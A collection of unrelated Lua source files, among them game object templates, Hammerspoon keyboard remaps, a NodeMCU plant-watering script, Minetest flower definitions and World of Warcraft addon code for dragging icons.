object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_r_gcw = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_r_gcw.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_r_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_r_gcw.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_chest_plate = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_chest_plate.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_chest_plate, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_chest_plate.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_chest_plate_gcw = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_chest_plate_gcw.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_chest_plate_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_chest_plate_gcw.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_gloves = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_gloves.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_gloves, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_gloves.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_gloves_gcw = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_gloves_gcw.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_gloves_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_gloves_gcw.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_helmet = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_helmet.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_helmet, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_helmet.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_helmet_gcw = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_helmet_gcw.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_helmet_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_helmet_gcw.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_leggings = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_leggings.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_leggings, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_leggings.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_leggings_gcw = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_leggings_gcw.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_leggings_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_leggings_gcw.iff")
--****************************************************************************************************************************************************************************
|
local function pressFn(mods, key)
if key == nil then
key = mods
mods = {}
end
return function() hs.eventtap.keyStroke(mods, key, 1000) end
end
local function remap(mods, key, pressFn)
hs.hotkey.bind(mods, key, pressFn, nil, pressFn)
end
-- bonus!
remap({'ctrl'}, ';', pressFn('delete'))
-- hjkl
remap({'ctrl'}, 'h', pressFn('left'))
remap({'ctrl'}, 'j', pressFn('down'))
remap({'ctrl'}, 'k', pressFn('up'))
remap({'ctrl'}, 'l', pressFn('right'))
remap({'ctrl', 'shift'}, 'h', pressFn({'shift'}, 'left'))
remap({'ctrl', 'shift'}, 'j', pressFn({'shift'}, 'down'))
remap({'ctrl', 'shift'}, 'k', pressFn({'shift'}, 'up'))
remap({'ctrl', 'shift'}, 'l', pressFn({'shift'}, 'right'))
remap({'ctrl', 'cmd'}, 'h', pressFn({'cmd'}, 'left'))
remap({'ctrl', 'cmd'}, 'j', pressFn({'cmd'}, 'down'))
remap({'ctrl', 'cmd'}, 'k', pressFn({'cmd'}, 'up'))
remap({'ctrl', 'cmd'}, 'l', pressFn({'cmd'}, 'right'))
remap({'ctrl', 'alt'}, 'h', pressFn({'alt'}, 'left'))
remap({'ctrl', 'alt'}, 'j', pressFn({'alt'}, 'down'))
remap({'ctrl', 'alt'}, 'k', pressFn({'alt'}, 'up'))
remap({'ctrl', 'alt'}, 'l', pressFn({'alt'}, 'right'))
remap({'ctrl', 'shift', 'cmd'}, 'h', pressFn({'shift', 'cmd'}, 'left'))
remap({'ctrl', 'shift', 'cmd'}, 'j', pressFn({'shift', 'cmd'}, 'down'))
remap({'ctrl', 'shift', 'cmd'}, 'k', pressFn({'shift', 'cmd'}, 'up'))
remap({'ctrl', 'shift', 'cmd'}, 'l', pressFn({'shift', 'cmd'}, 'right'))
remap({'ctrl', 'shift', 'alt'}, 'h', pressFn({'shift', 'alt'}, 'left'))
remap({'ctrl', 'shift', 'alt'}, 'j', pressFn({'shift', 'alt'}, 'down'))
remap({'ctrl', 'shift', 'alt'}, 'k', pressFn({'shift', 'alt'}, 'up'))
remap({'ctrl', 'shift', 'alt'}, 'l', pressFn({'shift', 'alt'}, 'right'))
remap({'ctrl', 'cmd', 'alt'}, 'h', pressFn({'cmd', 'alt'}, 'left'))
remap({'ctrl', 'cmd', 'alt'}, 'j', pressFn({'cmd', 'alt'}, 'down'))
remap({'ctrl', 'cmd', 'alt'}, 'k', pressFn({'cmd', 'alt'}, 'up'))
remap({'ctrl', 'cmd', 'alt'}, 'l', pressFn({'cmd', 'alt'}, 'right'))
remap({'ctrl', 'cmd', 'alt', 'shift'}, 'h', pressFn({'cmd', 'alt', 'shift'}, 'left'))
remap({'ctrl', 'cmd', 'alt', 'shift'}, 'j', pressFn({'cmd', 'alt', 'shift'}, 'down'))
remap({'ctrl', 'cmd', 'alt', 'shift'}, 'k', pressFn({'cmd', 'alt', 'shift'}, 'up'))
remap({'ctrl', 'cmd', 'alt', 'shift'}, 'l', pressFn({'cmd', 'alt', 'shift'}, 'right'))
|
local Plugin = script.Parent.Parent.Parent.Parent
local Libs = Plugin.Libs
local Roact = require(Libs.Roact)
local Constants = require(Plugin.Core.Util.Constants)
local ContextHelper = require(Plugin.Core.Util.ContextHelper)
local withTheme = ContextHelper.withTheme
local Components = Plugin.Core.Components
local Foundation = Components.Foundation
local TabBar = require(Foundation._TabBar)
local TabbedMenu = Roact.PureComponent:extend("TabbedMenu")
function TabbedMenu:render()
return withTheme(
function(theme)
local props = self.props
local tabs = props.tabs
local activeId = props.activeId
local onTabClick = props.onTabClick
local Size = props.Size or UDim2.new(1, 0, 1, 0)
local tabberTheme = theme.tabber
local tabHeight = Constants.TAB_HEIGHT
local backgroundColor = tabberTheme.content.backgroundColor
return withTheme(
function(theme)
return Roact.createElement(
"Frame",
{
Size = Size,
BackgroundTransparency = 1
},
{
TabBar = Roact.createElement(
TabBar,
{
tabs = tabs,
activeId = activeId,
onTabClick = onTabClick
}
),
TabBody = Roact.createElement(
"Frame",
{
Size = UDim2.new(1, 0, 1, -tabHeight),
Position = UDim2.new(0, 0, 0, tabHeight),
BackgroundColor3 = backgroundColor,
BorderSizePixel = 0
},
{
Body = Roact.createElement(
"Frame",
{
Size = UDim2.new(1, 0, 1, 0),
BackgroundTransparency = 1
},
props[Roact.Children]
)
}
)
}
)
end
)
end
)
end
return TabbedMenu
|
function measure()
-- setup pin 7 to be output
gpio.mode(7, gpio.OUTPUT)
-- write HIGH to pin 7 to power the moisture sensor
gpio.write(7,1)
-- initialze sum and measurement count
count = 5
sum = 0
-- collect count number of measurements
for i =0, count do
sum = sum+adc.read(0)
end
-- shut off the sensor to minimize power
gpio.write(7,0)
-- calculate average measurement
avg = sum / count
-- return average
return avg
end
function check(moisture)
dry = false
if moisture < 900 then
dry = true
end
return dry
end
function water(seconds)
-- setup pin 8 to be output
gpio.mode(2, gpio.OUTPUT)
-- write HIGH to pin 7 to power the moisture sensor
gpio.write(2,1)
tmr.delay(seconds * 1000000)
gpio.write(2,0)
end
gpio.write(3,gpio.LOW)
soil = measure()
print(soil)
dry = check(soil)
print(dry)
if dry then
water(5)
new = measure()
if new < 900 then
water(3)
end
end
gpio.write(3,gpio.HIGH)
-- sleep for the maximum amount of time
-- which is 71mmin
--node.dsleep(5000000)
node.dsleep(4294967295)
|
local function reloadConfig(paths)
doReload = false
for _,file in pairs(paths) do
if file:sub(-4) == ".lua" then
print("A lua config file changed, reload")
doReload = true
end
end
if not doReload then
print("No lua file changed, skipping reload")
return
end
hs.reload()
end
configFileWatcher = hs.pathwatcher.new(os.getenv("HOME") .. "/.hammerspoon/", reloadConfig)
configFileWatcher:start()
|
slot2 = "BankRecordListCcsItem"
BankRecordListCcsItem = class(slot1)
BankRecordListCcsItem.onCreationComplete = function (slot0)
slot4 = CcsListViewItem
ClassUtil.extends(slot2, slot0)
end
BankRecordListCcsItem.updateView = function (slot0)
if slot0._data then
slot4 = slot0._data.CollectDate
slot0.txtDate.setString(slot2, slot0.txtDate)
slot4 = true
slot0.txtMoney_tf.setIsAssetVCenter(slot2, slot0.txtMoney_tf)
slot4 = Hero
if slot0._data.TargetGameID == Hero.getDwGameID(slot0.txtMoney_tf) then
slot4 = "[受赠]" .. slot0._data.SourceNickName .. "(id:" .. slot0._data.SourceGameID .. ")"
slot0.txtName.setString(slot2, slot0.txtName)
slot3 = slot0.txtMoney_tf
slot7 = "#plist_font_yellow_4_%s.png"
slot0.txtMoney_tf.setHtmlText(slot2, HtmlUtil.createArtNumDotSign(slot0._data.SourceNickName, slot0._data.SwapScore))
else
slot4 = Hero
if slot0._data.SourceGameID == Hero.getDwGameID(slot3) then
slot4 = "[赠予]" .. slot0._data.TargetNickName .. "(id:" .. slot0._data.TargetGameID .. ")"
slot0.txtName.setString(slot2, slot0.txtName)
slot3 = slot0.txtMoney_tf
slot7 = "#plist_font_blue_5_%s.png"
slot0.txtMoney_tf.setHtmlText(slot2, HtmlUtil.createArtNumDotSign(slot0._data.TargetNickName, slot0._data.SwapScore * -1))
end
end
end
end
BankRecordListCcsItem.destroy = function (slot0)
slot3 = slot0.txtMoney_tf
slot0.txtMoney_tf.destroy(slot2)
slot3 = slot0
CcsListViewItem.destroy(slot2)
end
return
|
--[[
In this example, we will add a bonus perk that is granted
on a mission trigger. We will have Felix, from Quincy,
give the player the following perk if he is rescued:
Veteran's Knowledge
An old veteran has taught you some new tricks. +10% to
Small Guns and Repair.
--]]
-- @{Hooks:OnStart|OnStart} hook function
function OnStart()
-- Add the perk. Setting maxperktaken to 0 prevents the perk from
-- appearing in the list of perks at level up.
newperk = { name = "perkFelix", maxperktaken = 0 }
-- Replace unused perk 37: "mysteriousStranger"
hookexecutor:ReplacePerk(newperk, 37)
end
-- @{Hooks:OnLocaleLoad|OnLocaleLoad} hook function
function OnLocaleLoad()
hookexecutor:AddLocaleString("name_perkFelix", "Veteran's Knowledge")
hookexecutor:AddLocaleString("desc_perkFelix", "An old veteran has taught you some new tricks. +10% to Small Guns and Repair.")
end
-- @{Hooks:OnVariableChanged|OnVariableChanged} hook function
function OnVariableChanged(key,value,campaign)
-- Check if our variable is set to the value we want
if key == "Felix_Rescued" and value == "True" then
-- Get the player with @{world:GetPlayer}
player = world:GetPlayer()
-- Safety check: ensure the player doesn't already have the perk
-- This will catch cases where the variable trigger accidentally fires twice
if player:GetAttribute("perkFelix", ACTOR_TABLE_CURRENT) == 0 then
-- Apply the perk
player:SetAttribute("perkFelix", ACTOR_TABLE_PERM, 1)
-- Apply bonuses granted by the perk
bonus = { smallGuns=10, repair=10}
player:ApplyBonus(bonus, true)
-- Notify the player: message in the combat log with @{world:CombatLog}:
world:CombatLog(COMBATLOG_FEW,"Felix has taught " .. player:GetName() .. " something new.")
end
end
end
|
object_static_item_item_hoth_floor_light = object_static_item_shared_item_hoth_floor_light:new {
}
ObjectTemplates:addTemplate(object_static_item_item_hoth_floor_light, "object/static/item/item_hoth_floor_light.iff")
|
-- base_flowers/init.lua
-- Load support for Minebase translation.
local S = minetest.get_translator("base_flowers")
--
-- Flowers
--
flowers.register_flower("base_flowers:rose",{
description = S("Red Rose"),
image = "base_flowers_rose.png",
box_size = {-2 / 16, -0.5, -2 / 16, 2 / 16, -0.3, 2 / 16},
groups = {color_red = 1, flammable = 1},
deco = {seed = 436}
})
flowers.register_flower("base_flowers:tulip",{
description = S("Orange Tulip"),
image = "base_flowers_tulip.png",
box_size = {-2 / 16, -0.5, -2 / 16, 2 / 16, -0.3, 2 / 16},
groups = {color_orange = 1, flammable = 1},
deco = {seed = 19822}
})
flowers.register_flower("base_flowers:dandelion_yellow",{
description = S("Yellow Dandelion"),
image = "base_flowers_dandelion_yellow.png",
box_size = {-4 / 16, -0.5, -4 / 16, 4 / 16, -0.3, 4 / 16},
groups = {color_yellow = 1, flammable = 1},
deco = {seed = 1220999}
})
flowers.register_flower("base_flowers:chrysanthemum_green",{
description = S("Green Chrysanthemum"),
image = "base_flowers_chrysanthemum_green.png",
box_size = {-4 / 16, -0.5, -4 / 16, 4 / 16, -0.3, 4 / 16},
groups = {color_green = 1, flammable = 1},
deco = {seed = 80081}
})
flowers.register_flower("base_flowers:geranium",{
description = S("Blue Geranium"),
image = "base_flowers_geranium.png",
box_size = {-2 / 16, -0.5, -2 / 16, 2 / 16, -0.3, 2 / 16},
groups = {color_blue = 1, flammable = 1},
deco = {seed = 36662}
})
flowers.register_flower("base_flowers:viola",{
description = S("Viola"),
image = "base_flowers_viola.png",
box_size = {-5 / 16, -0.5, -5 / 16, 5 / 16, -0.3, 5 / 16},
groups = {color_violet = 1, flammable = 1},
deco = {seed = 1133}
})
flowers.register_flower("base_flowers:dandelion_white",{
description = S("White Dandelion"),
image = "base_flowers_dandelion_white.png",
box_size = {-5 / 16, -0.5, -5 / 16, 5 / 16, -0.3, 5 / 16},
groups = {color_white = 1, flammable = 1},
deco = {seed = 73133}
})
flowers.register_flower("base_flowers:tulip_black",{
description = S("Black Tulip"),
image = "base_flowers_tulip_black.png",
box_size = {-2 / 16, -0.5, -2 / 16, 2 / 16, -0.3, 2 / 16},
groups = {color_black = 1, flammable = 1},
deco = {seed = 42}
})
--
-- Mushrooms
--
flowers.register_mushroom("base_flowers:mushroom_red",{
description = S("Red Mushroom"),
image = "base_flowers_mushroom_red.png",
groups = {mushroom = 1, snappy = 3, attached_node = 1, flammable = 1},
on_use = minetest.item_eat(-5),
box_size = {-4 / 16, -0.5, -4 / 16, 4 / 16, -0.3, 4 / 16},
deco = {}
})
flowers.register_mushroom("base_flowers:mushroom_brown", {
description = S("Brown Mushroom"),
image = "base_flowers_mushroom_brown.png",
groups = {mushroom = 1, food_mushroom = 1, snappy = 3, attached_node = 1,
flammable = 1},
on_use = minetest.item_eat(1),
box_size = {-3 / 16, -0.5, -3 / 16, 3 / 16, -0.3, 3 / 16},
deco = {}
})
--
-- Waterlily
--
flowers.register_waterlily("base_flowers:waterlily",{
description = S("Waterlily"),
tiles = {"base_flowers_waterlily.png", "base_flowers_waterlily_bottom.png"},
groups = {snappy = 3, flower = 1, flammable = 1},
box_size = {-7 / 16, -0.5, -7 / 16, 7 / 16, -15 / 32, 7 / 16},
deco = {}
})
|
-- --------------------
-- TellMeWhen
-- Originally by Nephthys of Hyjal <lieandswell@yahoo.com>
-- Other contributions by:
-- Sweetmms of Blackrock, Oozebull of Twisting Nether, Oodyboo of Mug'thol,
-- Banjankri of Blackrock, Predeter of Proudmoore, Xenyr of Aszune
-- Currently maintained by
-- Cybeloras of Aerie Peak
-- --------------------
if not TMW then return end
local TMW = TMW
local L = TMW.L
local print = TMW.print
local IconDragger = TMW:NewModule("IconDragger", "AceTimer-3.0", "AceEvent-3.0")
TMW.IconDragger = IconDragger
function IconDragger:OnInitialize()
WorldFrame:HookScript("OnMouseDown", function() -- this contains other bug fix stuff too
IconDragger.DraggerFrame:Hide()
IconDragger.IsDragging = nil
end)
end
---------- Icon Dragging ----------
function IconDragger:DropDownFunc()
local lastAddedCentury = 1
local hasAddedOne = false
for i, handlerData in ipairs(IconDragger.Handlers) do
local info = TMW.DD:CreateInfo()
info.notCheckable = true
local shouldAddButton = handlerData.dropdownFunc(IconDragger, info)
info.func = IconDragger.Handler
info.arg1 = handlerData.actionFunc
if shouldAddButton then
-- Spacers are placed between each increment of 100 in the order.
local thisCentury = floor(handlerData.order/100) + 1
if hasAddedOne and lastAddedCentury < thisCentury then
TMW.DD:AddSpacer()
end
TMW.DD:AddButton(info)
lastAddedCentury = thisCentury
hasAddedOne = true
end
end
if hasAddedOne then
TMW.DD:AddSpacer()
end
local info = TMW.DD:CreateInfo()
info.text = CANCEL
info.notCheckable = true
TMW.DD:AddButton(info)
end
IconDragger.Dropdown = TMW.C.Config_DropDownMenu_NoFrame:New()
IconDragger.Dropdown:SetFunction(IconDragger.DropDownFunc)
local Dropdown = IconDragger.Dropdown
function IconDragger:Start(icon)
IconDragger.srcicon = icon
IconDragger.DraggerFrame:SetScale(icon.group:GetEffectiveScale())
local tex = IconDragger.srcicon.attributes.texture
if tex == "" or not tex then
tex = "Interface\\AddOns\\TellMeWhen\\Textures\\Disabled"
end
IconDragger.DraggerFrame.texture:SetTexture(tex)
IconDragger.DraggerFrame:Show()
IconDragger.IsDragging = true
end
function IconDragger:SetIsDraggingFalse()
IconDragger.IsDragging = false
end
function IconDragger:CompleteDrag(script, icon)
IconDragger.DraggerFrame:Hide()
IconDragger:ScheduleTimer("SetIsDraggingFalse", 0.1)
-- icon is the destination
icon = icon or GetMouseFocus()
if IconDragger.IsDragging then
if type(icon) == "table" and icon.IsIcon and not icon:IsControlled() then -- if the frame that got the drag is an icon, set the destination stuff.
IconDragger.desticon = icon
IconDragger.destFrame = nil
if script == "OnDragStop" then -- wait for OnDragReceived
return
end
if IconDragger.desticon == IconDragger.srcicon then
return
end
Dropdown:SetDropdownAnchor("TOPLEFT", icon, "BOTTOMLEFT", 0, 0)
else
IconDragger.desticon = nil
IconDragger.destFrame = icon -- not actually an icon. just some frame.
local cursorX, cursorY = GetCursorPosition()
local UIScale = UIParent:GetScale()
-- We offset the position here by 1 so that the frame is always under the cursor.
-- Otherwise, it might not be under the cursor, causing the dropdown to never auto-hide if the user
-- never drags their cursor over it.
Dropdown:SetDropdownAnchor(nil, UIParent, "BOTTOMLEFT", cursorX/UIScale - 1, cursorY/UIScale + 1)
end
if not DropDownList1:IsShown() or TMW.DD.OPEN_MENU ~= Dropdown then
Dropdown:Toggle(1)
end
end
end
function IconDragger:NoGlobalToProfile(invert)
local srcicon = IconDragger.srcicon
local desticon = IconDragger.desticon
if not (srcicon and desticon) then
return nil
end
if srcicon.group.Domain == "global" and desticon.group.Domain == "profile" then
return invert
end
return true
end
function IconDragger:NoProfileToGlobal(invert)
local srcicon = IconDragger.srcicon
local desticon = IconDragger.desticon
if not (srcicon and desticon) then
return nil
end
if srcicon.group.Domain == "profile" and desticon.group.Domain == "global" then
return invert
end
return true
end
IconDragger.Handlers = {}
function IconDragger:RegisterIconDragHandler(order, dropdownFunc, actionFunc)
TMW:ValidateType("2 (order)", "IconDragger:RegisterIconDragHandler(order, dropdownFunc, actionFunc)", order, "number")
TMW:ValidateType("3 (func)", "IconDragger:RegisterIconDragHandler(order, dropdownFunc, actionFunc)", dropdownFunc, "function")
TMW:ValidateType("4 (func)", "IconDragger:RegisterIconDragHandler(order, dropdownFunc, actionFunc)", actionFunc, "function")
tinsert(IconDragger.Handlers, {
order = order,
dropdownFunc = dropdownFunc,
actionFunc = actionFunc,
})
TMW:SortOrderedTables(IconDragger.Handlers)
end
IconDragger:RegisterIconDragHandler(1, -- Move
function(IconDragger, info)
if IconDragger.desticon then
info.text = L["ICONMENU_MOVEHERE"]
info.tooltipTitle = nil
info.tooltipText = nil
return true
end
end,
function(IconDragger)
-- move the actual settings
local srcgs = IconDragger.srcicon.group:GetSettings()
local srcics = IconDragger.srcicon:GetSettings()
TMW:PrepareIconSettingsForCopying(srcics, srcgs)
IconDragger.desticon.group:GetSettings().Icons[IconDragger.desticon:GetID()] = srcgs.Icons[IconDragger.srcicon:GetID()]
srcgs.Icons[IconDragger.srcicon:GetID()] = nil
-- preserve buff/debuff/other types textures
IconDragger.desticon:SetInfo("texture", IconDragger.srcicon.attributes.texture)
end
)
IconDragger:RegisterIconDragHandler(2, -- Copy
function(IconDragger, info)
if IconDragger.desticon then
info.text = L["ICONMENU_COPYHERE"]
info.tooltipTitle = nil
info.tooltipText = nil
return true
end
end,
function(IconDragger)
-- copy the settings
local srcgs = IconDragger.srcicon.group:GetSettings()
local srcics = IconDragger.srcicon:GetSettings()
TMW:PrepareIconSettingsForCopying(srcics, srcgs)
IconDragger.desticon.group:GetSettings().Icons[IconDragger.desticon:GetID()] = TMW:CopyWithMetatable(srcics)
-- Erase the GUID from the new icon.
IconDragger.desticon:GetSettings().GUID = nil
-- preserve buff/debuff/other types textures
IconDragger.desticon:SetInfo("texture", IconDragger.srcicon.attributes.texture)
end
)
IconDragger:RegisterIconDragHandler(3, -- Swap
function(IconDragger, info)
if IconDragger.desticon then
info.text = L["ICONMENU_SWAPWITH"]
info.tooltipTitle = nil
info.tooltipText = nil
return true
end
end,
function(IconDragger)
-- swap the actual settings
local destgs = IconDragger.desticon.group:GetSettings()
local destics = IconDragger.desticon:GetSettings()
local srcgs = IconDragger.srcicon.group:GetSettings()
local srcics = IconDragger.srcicon:GetSettings()
TMW:PrepareIconSettingsForCopying(destics, destgs)
TMW:PrepareIconSettingsForCopying(srcics, srcgs)
destgs.Icons[IconDragger.desticon:GetID()] = srcics
srcgs.Icons[IconDragger.srcicon:GetID()] = destics
-- preserve buff/debuff/other types textures
local desttex = IconDragger.desticon.attributes.texture
IconDragger.desticon:SetInfo("texture", IconDragger.srcicon.attributes.texture)
IconDragger.srcicon:SetInfo("texture", desttex)
end
)
IconDragger:RegisterIconDragHandler(4, -- Insert
function(IconDragger, info)
if IconDragger.desticon then
info.text = L["ICONMENU_INSERTHERE"]
info.tooltipTitle = L["ICONMENU_INSERTHERE"]
info.tooltipText = L["ICONMENU_INSERTHERE_DESC"]:format(
IconDragger.srcicon:GetFullName(),
IconDragger.desticon:GetFullName()
)
return true
end
end,
function(IconDragger)
-- move the actual settings
local srcgs = IconDragger.srcicon.group:GetSettings()
local srcics = IconDragger.srcicon:GetSettings()
TMW:PrepareIconSettingsForCopying(srcics, srcgs)
local targetId = IconDragger.desticon:GetID()
local ics = tremove(srcgs.Icons, IconDragger.srcicon:GetID())
tinsert(IconDragger.desticon.group:GetSettings().Icons, targetId, ics)
-- preserve buff/debuff/other types textures
IconDragger.desticon:SetInfo("texture", IconDragger.srcicon.attributes.texture)
end
)
local function Split(IconDragger, domain)
if InCombatLockdown() then
-- Groups can't be added in combat
error("TMW: Can't create groups while in combat")
end
local group = TMW:Group_Add(domain)
-- back up the icon data of the source group
local SOURCE_ICONS = IconDragger.srcicon.group:GetSettings().Icons
-- copy the source group.
-- pcall so that, in the rare event of some unforseen error, we don't lose the user's settings (they haven't yet been restored)
local success, err = pcall(function()
-- nullify it (we don't want to copy it)
IconDragger.srcicon.group:GetSettings().Icons = nil
TMW:CopyTableInPlaceUsingDestinationMeta(IconDragger.srcicon.group:GetSettings(), group:GetSettings())
end)
-- restore the icon data of the source group
IconDragger.srcicon.group:GetSettings().Icons = SOURCE_ICONS
-- now it is safe to error since we restored the old settings
assert(success, err)
local gs = group:GetSettings()
-- Generate a new GUID for the new group.
gs.GUID = nil
group:GetGUID()
-- group tweaks
gs.Rows = 1
gs.Columns = 1
gs.Name = ""
gs.Alpha = 1
-- adjustments and positioning
local p = gs.Point
p.point, p.relativeTo, p.relativePoint, p.x, p.y = IconDragger.DraggerFrame.texture:GetPoint(1)
p.relativeTo = "UIParent"
--group:Setup()
-- move the actual icon settings
gs.Icons[1] = IconDragger.srcicon.group.Icons[IconDragger.srcicon:GetID()]
IconDragger.srcicon.group.Icons[IconDragger.srcicon:GetID()] = nil
-- preserve textures
if group and group[1] then
group[1]:SetInfo("texture", IconDragger.srcicon.attributes.texture)
end
group:Setup()
end
IconDragger:RegisterIconDragHandler(40, -- Split to profile
function(IconDragger, info)
if IconDragger.destFrame then
info.text = L["ICONMENU_SPLIT"]
info.tooltipTitle = L["ICONMENU_SPLIT"]
info.tooltipText = L["ICONMENU_SPLIT_DESC"]
if InCombatLockdown() then
info.tooltipWhileDisabled = true
info.tooltipText = L["ICONMENU_SPLIT_NOCOMBAT_DESC"]
info.disabled = true
end
return true
end
end,
function(IconDragger)
Split(IconDragger, "profile")
end
)
IconDragger:RegisterIconDragHandler(41, -- Split to global
function(IconDragger, info)
if IconDragger.destFrame then
info.text = L["ICONMENU_SPLIT_GLOBAL"]
info.tooltipTitle = L["ICONMENU_SPLIT_GLOBAL"]
info.tooltipText = L["ICONMENU_SPLIT_DESC"] .. "\r\n\r\n" .. L["GLOBAL_GROUP_GENERIC_DESC"]
if InCombatLockdown() then
info.tooltipWhileDisabled = true
info.tooltipText = L["ICONMENU_SPLIT_NOCOMBAT_DESC"]
info.disabled = true
end
return true
end
end,
function(IconDragger)
Split(IconDragger, "global")
end
)
---------- Icon Handler ----------
function IconDragger:Handler(method)
-- close the menu
TMW.DD:CloseDropDownMenus()
-- save misc. settings
TMW.IE:SaveSettings()
-- attempt to create a backup before doing anything
IconDragger.srcicon:SaveBackup()
if IconDragger.desticon then
IconDragger.desticon:SaveBackup()
end
-- finally, invoke the method to handle the operation.
method(IconDragger)
-- then, update things
TMW:Update()
TMW.IE:LoadIcon(1)
end
|
keyboardWatcher = hs.usb.watcher.new(function(params)
if params["productName"] == "Realforce 87" and params["eventType"] == "added" then
hs.notify.new({title="Karabiner-Elements Profile Switcher", informativeText=params["productName"].." connected"}):send()
hs.task.new("/Users/uraura/bin/karabiner-elements-profile-switcher", nil, {"use", "RealForce"}):start()
elseif params["productName"] == "Realforce 87" and params["eventType"] == "removed" then
hs.notify.new({title="Karabiner-Elements Profile Switcher", informativeText=params["productName"].." disconnected"}):send()
hs.task.new("/Users/uraura/bin/karabiner-elements-profile-switcher", nil, {"use", "Default"}):start()
end
end)
keyboardWatcher:start()
|
local makeRay = require("rbx_lua_types").Ray.new
local makeVector3 = require("rbx_lua_types").Vector3.new
local datatype = {}
datatype.name = "Ray"
datatype.id = 0x08
function datatype.default()
return makeRay(0, 0, 0, 0, 0, 0)
end
function datatype.reader(stream, count)
local rays = {}
for i = 1, count do
rays[i] = makeRay(
makeVector3(stream.readLEFloat32(), stream.readLEFloat32(), stream.readLEFloat32()),
makeVector3(stream.readLEFloat32(), stream.readLEFloat32(), stream.readLEFloat32())
)
end
return rays
end
function datatype.writer(stream, values)
-- error("writer is not yet implemented for type `"..datatype.name.."`", 2)
for _, v in ipairs(values) do
stream.writeLEFloat32(v.Origin.X)
stream.writeLEFloat32(v.Origin.Y)
stream.writeLEFloat32(v.Origin.Z)
stream.writeLEFloat32(v.Direction.X)
stream.writeLEFloat32(v.Direction.Y)
stream.writeLEFloat32(v.Direction.Z)
end
end
return datatype
|
require("mod.autopickup.data.autopickup.predicate")
require("mod.autopickup.data.autopickup.target")
|
local EventFrame = CreateFrame("Frame")
-- gear manager
local BL_TEXTURE = [[Interface\MacroFrame\MacroPopup-BotLeft]]
local BR_TEXTURE = [[Interface\MacroFrame\MacroPopup-BotRight]]
local SCROLL_BAR_FNAME = [[Interface\ClassTrainerFrame\UI-ClassTrainer-ScrollBar]]
local BKG_LEFT_FNAME = [[Interface\MacroFrame\MacroPopup-TopLeft]]
local BKG_RIGHT_FNAME = [[Interface\MacroFrame\MacroPopup-TopRight]]
-- macro
local GMMI_TEXTURE_NAME = "GearManagerMoreIconsScrollTexture"
local tex_scroll, tex_bkg_left, tex_bkg_right
local function CreateTex(var_tex, parent, tex, layer, width, height, ...)
if var_tex == nil then
var_tex = parent:CreateTexture(GMMI_TEXTURE_NAME, layer)
end
var_tex:SetPoint(...)
var_tex:SetTexture(tex)
var_tex:SetWidth(width)
var_tex:SetHeight(height)
var_tex:Show()
return var_tex
end
